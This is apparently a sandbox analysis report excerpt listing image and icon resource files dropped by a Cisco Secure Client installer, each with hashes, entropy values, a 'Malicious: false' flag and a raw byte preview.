C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\gradient.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 1 x 38, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2213
Entropy (8bit):	4.905752993252195
Encrypted:	false
SSDEEP:	48:iY/6A64knA9WIiDYfv4c0POd9Od4LOR3POgHWv:iYSGknmWIiDYfQpOd9OdqOVOgHWv
MD5:	A3A99D7E09DE348A18379BA84F5FBD33
SHA1:	7E7BE73D74601EA7CCFE7389152D189DA10A275F
SHA-256:	A8F0C8E087C47D78EBC0D0D9FBE4BF124F9049BE49A4D7E919D80CEF3E294FD7
SHA-512:	414293559F4245B4065246C582D815582E4DFF1E0882CDC3B0439E66204916B9C372D5430C77C49444CB69F61C715337C67275773D76E36C377AB287FEAC2E8E
Malicious:	false
Preview:	.PNG........IHDR.......&.....2b.5....PLTE...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................h....pHYs................ iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 20

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-00KGN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	14308
Entropy (8bit):	7.981829207860698
Encrypted:	false
SSDEEP:	384:XybKkbzXX5gnaVvNX5HqQiVAlwokisiMCb9sdP4++2SC7a1Rj2:XFyBr5KAworb9sB4Yi0
MD5:	1FC5657F3DDBAE57EA997277C9D6488A
SHA1:	2C4A261FEA797112FF95ABDB008435329BC8C048
SHA-256:	DC39DF1AECA15B0BAD3E15D05CE917D3CB7CB00C4F363BE67AC5741F82E5A57A
SHA-512:	CA37C34378244C91AC316717B1DFBA2E3D596918F9000710ECDF503728C2C207031F71224410CE661AADB59DB5272EF993A0826E96D311784F32BDE7BA125440
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x....{.......!.}V...U.`...Z..X.....j.j.\!.V..P..........OM.AhQ.l.[5... .\ ,.{~s..g.=g..v....'..ef..w._J.bn.)(.-$.m....l.....[k..47..G..v....W.5...5.Wz.....'.._6@.$@....>....].g.....=..G......V$;.'..........._6 .$@..WY.U....)q;U+.V].[..qR..a..T.\O...Y....u.v).q.-..d+..]...._s<.X..sJc.TO..v.G.og....Z>T...'.`.[.x;....l....>...e.:.x...\|.n.d.=....2.aKt;.....}....W.B/<6%.D......?q....I..:~..}a.d.`'a....+R.')8..\|j.....W.s..w.\|.I.oy:....'aO...txa...w....M.)..!q.S.>g1..+V.{.wL..eO.x.......a...k#.[....^....b.D4.z.....X;..e.d..O.a.D...%...+H....u^.{..vm.....c5.Kl..+.V.....&.n]:KO......l;...Q../.r.U..........6n.....p.^...4.......1..].i..C..%O.q.W5.4....;..h..].I.B.(....-.ex..:.l.....i.N..qp..=...I_..8.E.I.j...R/.i.1..x.............?.&o......W.57.5..t...E..%D.<..@3N"*..b%8Q.1..1....V.B..8Q.o.....).<...1.T.x.L...h...KdOc..V3..E...Z'9(.<.U'.D.....MY........4...}...R.rL........g

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-090DH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3880
Entropy (8bit):	6.742220289284142
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBcr:iXHt+JcNgOSiS4XsAYNpf2ESNVr
MD5:	3C512CF63246231506E533D6800FF3EB
SHA1:	CF02F3D7AD80DC48B900464D1F8D828F44213443
SHA-256:	C211B550E4DF39BDD1E7A39E7979EBFEAB155BDAEF2498A09D63B45713C30768
SHA-512:	ECE459102971594D5EB348FF9AA16E5EC0E7222594D63096289B566B07D020B534947D231E6C3CA1E139F407B9A5251933CF38C7BCEDAE693741499A9108D9D6
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-15RPC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	7.8827223365027725
Encrypted:	false
SSDEEP:	48:PajMqdGnKe/dujhrZicEFhViZIs2sJ69y+10zTECChhrHxgpj:PaIqcnKeKZHg7by+ezTLUhrR+j
MD5:	2EA165B23D882176DAAD7C368EE24642
SHA1:	A46B746D76A41D4B322552BE4D66E9FAC66D7C19
SHA-256:	5B0F218A1EDB9CE79C15E8278557CCDB8AF44EAD52B4149CBC27DEF6FFE38619
SHA-512:	7C6C1F9FBDB726AF81551CB2CB790B847904E10AB90923A8FA43C34D617FD4A7F4B0A6FC85D327FA140D8C42197213F2A2BBB4643C16A1FC7DF17C1AF1E674FC
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..\ol.E....)....{.i#.A .lbi..~.E.......M!..E.M..m.......L../=...TJ...4..@9.....O.E...fz.{..3.G5.%....y.y.....=.a..e.D4.....\|.C7....3x..w.....NP(ZVHD5DTMD....sg....E.......+..........ImD.:...3...BP(Z....).(.4A..`.....l..AT.....K@..$Y.~..+A..5...H.\4..V/.Z.'.]{..P.."._...'Q..d%.....j.\...."..E..nS..+Q....e0..".1o...-....d{."..i.`.....$.......q...i...Q.6.R...V.j..A.h...>h..'.....)?/.@$.q..u.y'.....6-..wv{.Q../..e/..7.y..wl~.^....;6tWHp..TY..JK..........G/...{"..A.....E9...i..~.....Z@.....zs..t.&;.=..M..C....3)7..z.m.\|.'.N.{iiP&.9...m=....L.....ar5.O...&e.} S..~j......>....8..=0v. ..f).#....UC...9..Q....}h8I.R.HI..s....F.6.....v..O^.EhSP.,R&!....N.. ....{...s..$L.....I2... ........C.......Dt........2BV).0.#H.[....@..M.jO:....(S/.v.f.A..bo.t....\|M..Z.2BVijk..'.$...n...BP.r..<@KB*.R.....A..6..2.d...:..Y5..F..0...b.;.D....p...=..;v.hgK..o.Iu.... ..R.U.....c...9....xi.TW..`.....~...N.".A...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-15UAG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12258
Entropy (8bit):	7.976396258951981
Encrypted:	false
SSDEEP:	192:Fkocto5a0L5W0WyUW8l4JGfcRWyryRN77YK/CPEyei5rTiKb9bdgih7OnT:Fkocto5zW0dNaAfRxKK80dbd5hanT
MD5:	33B3721B931071C69A9ECDFDAEF39F29
SHA1:	EE4DD7077CFDA9C0A2FE594CE8C9496EF23CA2E3
SHA-256:	55FC14B826D7F3C9F47F14CDBDAE488F1D4FE3678CD95BBBF7E643436F382D37
SHA-512:	B8E1843F2F08ADF93F7277FFAF8DD5299F7F5FCFA38AD15EC54422D4E3048822E15BB9D0B682D1728B6E4064CAE32222998ED48D41310FE7D9C58116D6D9E108
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x.....Q?.....!.._..t]..$.`W@..Z.......]..h..B.n...j/.R.~..P`..+A..-J...o..u....9..3s...7....+y.3.<.<..%....5.....Sv.o?9p.....=..t....~./,]ID.>....O.p9.T.6.I/.......s'O...}.....QkS].y36."..P.../f...E..Y....n.h.K.uN2..zn.....M...Y.n?.....V(G......o6.....n.G6........O~ai...hn+....s..3...3...........X0.t..o....Gr.w...../{.l....3"..d#s..]..S^...x.7\.xtk7.k....f..8.....MMM.......At...'.t1......c}...k.....U....b]dW.=.k.=.o..a...o....v &T....-j....q.o.5=....w.2.v.&U.37F..WG...vn....l......S...g`'./.\|Z....lSP.....ji...N.<..6f.u^.v..l;)F...$.....E81..F7.i..h.+.2~3.SBD..w.q/...z+.?..........^.S.(.3f..N.......km..v....#.H7..S&0J/._XZ@D...t2a.........tD..#..]"s...J....\|M....?..tLH....&.8.\|t.H.\/..O\|C....":..E)Q.R.....<?...M.}............1..3.....]5.w+....W.>7. .j..>..,b8..c..v.E..........;.\.:];.I.S..CE...c..._...........r./e..C...t..7.yLJ..{_.z........W<E;f^g....O2..>\|.n...o..7Q.d.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-18JKE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4052
Entropy (8bit):	7.943954771539964
Encrypted:	false
SSDEEP:	96:YVzyamWl9ZWA1xj7kdJwie8o1NqPw1AT2Z1OHXe:q5t9ZWmlsy9qPw1AT2Z2e
MD5:	0356D0A27BC2E9B55F5603D0373CED4C
SHA1:	7572FB4DC3B1CEF66F38F68A29093D3FBE706A5E
SHA-256:	E5427AAA99BFC3CC3886351EC9B7C4C524799CF4A0DE0E0CF6D8DE3C0DFB8743
SHA-512:	6BB3E1168712BCAE7F5B67F92A60B58B74162A01225AE264B0A72CDC2CE0C3943A7E9AE47406AFBAE44C25870A877C5EE83142C40EE4BFA6C57DEC495B1C53BE
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<...vIDATx..Y.o\.u?w.3sg..E..H..D-..YV.8n. J..H.......>...C...@..M..o...H..)...]4F....%...Lq.9.>w..\|3#.L...h...K....9..;.\|C...%}..)a...8..8IJ.H.;o.6.W'.Y.F.L^...a@(....K.)53....3...P,.2.=.I...6....]iV.v....r.....~yk..ej6..]...._8M..R.g.......f.[.......e,.,..i.I.D-.j..J.n....r...U.\[./....U6.$o^..ZE..7@J..I....5>.[g.:..gfBs.qy0....A..........HU%RdY..t=.,6....../5..;.\.....+/x..O...h'...1...8w~..o^=......v.Vk....wc.KA.:..."....D....)..R.e......}..{..w^.....Kd..}.]?7..lJ....O<..o^..../_>.d-.<.i....`{>.O>.w`./.dF.Rt...I..Q..{[0..J..h....T....RB...;.........]o...H...s.._.......L./O.P.....WT.P.A.....@..%RM....6@{....R5....5....M.....~....I...1s.K}.$..H.}./o.=...:..th...9=w.....(.R'-l......Lx. ..iP.iCu:.`.....\nP8.".......VoS8bR.......:..-....7..L).......M.j.rlv.......~..A9..ux.T.)_.S$.....6..<g..{..7..0...+...&h.f..%..\x^.h....1....(.....u):.S.N....Z....i....?.L_..+..%...]x..o...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-19J3B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4370
Entropy (8bit):	7.900909498577029
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTcm/smdB4cT3NGDBWPryd:TSDS0tKg9E05Tcm/smAkMEPed
MD5:	CE71A3CEA2599D3A31ACAA9B55CA11E7
SHA1:	0592CF53E554F95BC722A21AF3CC9DF896BB6108
SHA-256:	0E0CF343355B77AA93DC0AFA9AFF96FF64EF5DFE73E9AAB57ECAA776BEC7EE7A
SHA-512:	D04AF6ED7247BCF61C969C1668A0F8F62CBA4A83E08CCFAE63755F56A4F6D49F9B1E39FABB10A3C04675828379658AE8FE414AC7682F7211C4A5F8949224E7EF
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-1RM29.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29723
Entropy (8bit):	7.971507308971378
Encrypted:	false
SSDEEP:	768:f/oVoAjsba3qfpgr/jKyV8xonTTdZPNE/ZIeb4p82Xg:fwZ6tyHTTdERbkp8Mg
MD5:	DDF9FC987801BDE753D2C37733DE7F3D
SHA1:	BDA65E600F5EDD2889244E2C1CEAD37C1C292FC8
SHA-256:	D62A61171CAAD9B43DBCE2683DB87959B2C1FCB303D6B34A3DC1D178A9745F44
SHA-512:	D1C0451C3E9B52920A56EDF57CCF3617662E18B14E0E0B00A94D948574431C30E1C31BA2FF6F4BBFA8E01D42B00EA90FD03CD1D3991B3ACF04C5C9802F547244
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx.._h].....Er..uQh..T2...E#.0m.....d...i/2.%2..L....N....L;.....%>..g.-.!...ER!&.j9..y..2.u.....x ..w.Y;.^{......~@..K{....~......,.!6....._.>(../........../~....FO.!....d.a.9thp..^.'t=...4>d.%....x.=....Z;.e.....=.^...6'....;88....o..k?....{.....ir2j..&'..:'fqqQ\.x...{2..~./^..z.....5q..J.....!.~..q..N..0..+....z2...'!K..rH.&ET..^......4vY.;[.......b.q+d.].te,//.s".<.{.....\.+.le.^......+$.u....PO..v\|./.he....O.J.......=H.....7cy..q......Y.k]......N......g#.I....M..?.........."{.dO...^.k..U....NH.qg....X..#.5\|..E....7r..}.NF..4..J...w~.._....E.".Qu.:.E...{..l...U(..D..P...d..K.z.h..%/^.w\;.N..d...\|.Q...X....2=.......W.......eR.X..~....;.Uo.w.....3....#.....7'.....q......f...D$$'ck..'P.G.y..v..!......A..T......w...F.U...OF].............V......biU$4>.U..y..OvB%=.S....B..b.DLM....WyQl..:c.a.D..o.6.\&kkk^.....Pm....=....kZ...~..u2.Qjr....lL..q...km.b\|......>...E

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-2DKH1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1807
Entropy (8bit):	7.846793911413473
Encrypted:	false
SSDEEP:	24:M3uM24lXN+maawwFvEk9PMjKHcdAJ5xo+n7R/0+5GpxwGjQaTNn7ohEoGCL5F2lr:M+VU3vVsk9kcqE7RN+x/BohRnG
MD5:	536C911881523B9F8402A481881992A0
SHA1:	2748A03D65DA7D6B4A95ACBDEB6ECD6F409A0ABF
SHA-256:	246B7E52A41AA64365D84C7DA73FD20C27B8C825C61394AE8C775DBD9BF5B668
SHA-512:	608DFEC9C7980707B9947F3CFB8BEF93FDF1D6D5B908E25888BCA0C7CE83C70F23AF87798F38E364E75FA05C89523028B5742E3084E6401068A7DE6BC5BF90E4
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..;R#I..k.........1...h.@'..:.V...1'.q..kM...Ly..h..6J.=....Y.%E~...!..wVe... .. .. .. ....O;....I..UO...........R.........7...E)5W.d...Q.)J5.7\{....Q.W.P.R.a.@.K......ab...Q.d..zV....^..m.C.t..U.Y.e..(.....x.J)...s.....)..XM....Y.._~Q......o#..........=.p+b.E..X..X.}.'..o...DJw..GJq.].^.%R.#..3.y<.s...5.......s.s....;>.Z.q.F./..r.Z...T..=.&H......z...~J/.%.....(.~.\|R7...z.LV....+.........T....\|L.1i<..Zc.]LO.;.@.:.?IU./..A.,.-.rGr!Z...'I.........6+^......a....n6~e6ejy.f.........\UC..\..i..s.r.U_.i..>......u...p...zb5..t\|u.h.gxD..}6T[i.jxO./..goc...9......(.[..........*.{.8.f.(..R..J8.za.;.t..aj./.5.^px....g[...]z...=.Q.Q.%.D...z2`.;.6.K9.26Tc'....)_...$..<.&.7v.....pQ..N....s.c...XX..x.>..O.....)&/IYm..=....7.A.......c$..R....T{.q......C..@.L.....]({..>y.:.e.#....ym.....g^.R.....v.$.M.B.E....^.xSF80......n\|Ph./..%<.I...X.f..=.pz..~...a..O1.9g.m.Mp....n.v%D....w....F6.....{.".!.~.}..}.P.S.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-3I35G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.5904244181066343
Encrypted:	false
SSDEEP:	96:qp/EF2cJeBcktRYgD9qsSyGrnPblkbGgmo:YccB8lPbGHB
MD5:	A1C46D32AA7BCD14A8DB10005E23B885
SHA1:	8859CD29B7D6A9D645C3B09D8AFAB041D3BB7A37
SHA-256:	66DAAB72327F0E98FC3006DA7B0F957901285993388BDE25D6149464A98C9442
SHA-512:	16CC5F81EC30BC027D6C3268383463968DD9E2C0A0A3BBDA8059BF8DC6A99853ED27CD1E1BD955ACF2F98B5B0693D5A2AEDCC69261F2E06B065ED11684179AD9
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ..........................@...@...@...@...@...@...@...@...@...@...@...@...@...@.........................p...0.............................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................................p.....................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..M'..M'..M'..M'..nP:...w................`.............................@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..z]J.z]J.X5..M'..M'..M'..M'..z]J......................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.........................nP:.M'..M'..M'...................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................M'..M'..M'..M'...xh..........................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................cB+.M'..z]J.M'..M'...xh......................@...s...s...s...s...s...s

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-3NOPC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1577
Entropy (8bit):	5.942243839150427
Encrypted:	false
SSDEEP:	24:HA/6I1hxWwUyl3ZknA9VYVhEfNA6h+REMmcI1VCnw7Pl3Vv7aHH3yGNbBg:g/6G6GknA9Wg26x/c0eG3tmHiGg
MD5:	8675E6CF868FCE7270D170D83CE58757
SHA1:	B08567ACEF2380521759E4A1C12B1C9FE657ABED
SHA-256:	593A68E8FC7ADF787E5728D044AC71D4A9BEC6E4A6BF15895ABC8C4869F33625
SHA-512:	6480B3304656ECA345326A96FEF93B653B9F40550E5B0D14498B2670BAFB497E78A2517911F8E791E1DEC3C9A3070CB4212DB727FBE3FC648F6100E5EF349B2F
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:31:46-04:00" xmp:ModifyDate="2018-10-19T17:56:14-04:00" xmp:MetadataDate="2018-10-19T17:56:14-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:1181fb18-be64-4155-ab97-06d5464c99e6" xmpMM:DocumentID="xmp.did:1181fb18-be64-4155-ab97-06d5464c99e6"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-3RLTT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2465
Entropy (8bit):	7.9078675566370515
Encrypted:	false
SSDEEP:	48:OSjMqJt67atsaB2Q95MFMQQYs/7uI2/D8:OSd+7OsTQTuQYszIb8
MD5:	161092451DAE50221183377F7CFB560E
SHA1:	2884EE1CAD503614512FAF274C3E0AC209F9201B
SHA-256:	8CB267EF7B475567CF0A347A4E99CC533102789A966B7285A7733FD8E4FBDE47
SHA-512:	0BD327894C7A1AFC5AF1B3CD1D678370C568DF1A06A32408B4A4A3047A846657EDC09A1A0E094565EF4004DF6FEE3FBF0A2885FE0279F4920CB91FBE1D897B14
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~....SIDATx..\.l.U...d..v..P(t[..DDJ....-..."...5....1T.Q"i..?.....jK..ZS....) ...6........s...e.3o...........s..{.r... ..2.(.o}\|..."...6l..]n....y..t".ID.D...l..ql;vt.y...u\g..:..+{......I5DT..5.t...!....8)K.:RS..!..-...S.0....e[..8Y...E)A......H...y.yL%.uU..S].>AV.'.\%QJ..&..)z...s.U\|.!...i..5....e. .?.S#.t....#..m...ol.D.7..CM..B.WM%\|.L...E.)..P..6...A.V.d. .?....T3oF.=...JJL.qI....C.{..v..W.}.PS..........#........n%=.`.]}.._H...S..l.eL.5.9..;...x.....!).....T...q.....<.VU...n..J....i....g.{.m2$.61.9.....I..&7k..\|.'m5s.).]...7....`n$.$C.....X!)....a......9..q...0......$..9.....A......!m...:.{.....T..LZ.....&\|.H...A.0..8.O....?".,..N.V..._6R...X`.w...gx.5U....I..OIV.J...z.i.H..k...\..U.. >}..A`yi...Ct.y..8..#@Q8.'&.KK.D0y...2..i..$....Q...."j.....[Fg..0....,(9o.".8]S.#.9"ZSY.....Dtu_..ZO...G.9f.".(.$M.t+...e9&...L..NDk....$......\|.l~..O`.....G...'.,`.D3....\.g.VEqQ."..C..,.9..M.y..~."..A.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-4BNHI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 1024 x 365, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16443
Entropy (8bit):	7.760065707691873
Encrypted:	false
SSDEEP:	384:lqb0tEZvDwb6EjHGVbAxe76N2Tuzy8xvyu6:lY02FP8nsUxvyu6
MD5:	E786715A35FEB88334AA7FAA35F70248
SHA1:	2BB7D79511CA0099549DAA71263909D61789B54D
SHA-256:	0D5106D9C61EC53AC64D4663204A75F5257B41E24991F1D6CCD50471CF81C341
SHA-512:	4DF4F567FB4B1184610D1884D13F75C474757641F64CA05B6333391C12B7AFA0D7889F4DB374AB54F69E262EE4B12FB89A12E037A8F2926E01ED457D233DE3F9
Malicious:	false
Preview:	.PNG........IHDR.......m......O......tEXtSoftware.Adobe ImageReadyq.e<..?.IDATx...r.H.(l...70.l....L..60}....VrRI.I$_..+.&.:..`kBk......^........H..G.\|..l}.@......,.........................................................................................................................................................................................................................(.....?...i..........B..]......5._O.L/.2}R:.....}.....i.._...R.+..ez...../......?)...)...[....?..S.......x..g.x7.z...T....H...D.... .....H................ ................ .....H.....=...v./...I..4.......S..:..\|..1..._.+.s.......hF....y.....!.....:..<._...).....&.P...e..;l.c... ..W.8.... ......1@.l.h...'V...k..IL.L.r..h......q...g];/.T.K..rw=...%?>....kM... .0....IB.yr.....;............... .....H.......... ........n._.......-....,....3..,..Q..L.J.2.._..,..2}R2....@......?>...~.X/....4...k...L/.2.+...4...._...).....(.)......y..@.@.. ......... ..b..WB....@5..W.Ym...?..)...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-4LCJ9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	6.749338244156901
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBQgJLkXf:iXHt+JcNgOSiS4XsAYNpf2ESNtg1kXf
MD5:	ECBD0E4A17836F184F084BF3D9170141
SHA1:	45E135215179398684C1D52BB8430D827577500D
SHA-256:	5734B02A7A809DC54D75C00E7137CE9F2BF85CE8050B6105016FEE5D5E1BA44B
SHA-512:	5EB8B7519E6F9EE518812B3F0D8DF3C3E6A73A899E70F853848C69551B783663111B62900837CF0F02098A7452EE3D8638839658B3724990BFA5C2BF148B8D05
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-4QQME.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4267
Entropy (8bit):	7.94257084168463
Encrypted:	false
SSDEEP:	96:IqGbLvTlphRGJSqAeFg590km/kqzrxsoCeaV6XjNfUmhPRD3el9:ILhKFZa0PCPiNfU2RCL
MD5:	7014A8C17D7E8E5A2BEDB4C4E0C12E80
SHA1:	28881EE38814E155FA7B1E0096801A644CAB6548
SHA-256:	BD9514FA182DE90450B6E6E3EEDB2E084CD1390D5B6FDF0509B81EC36B963147
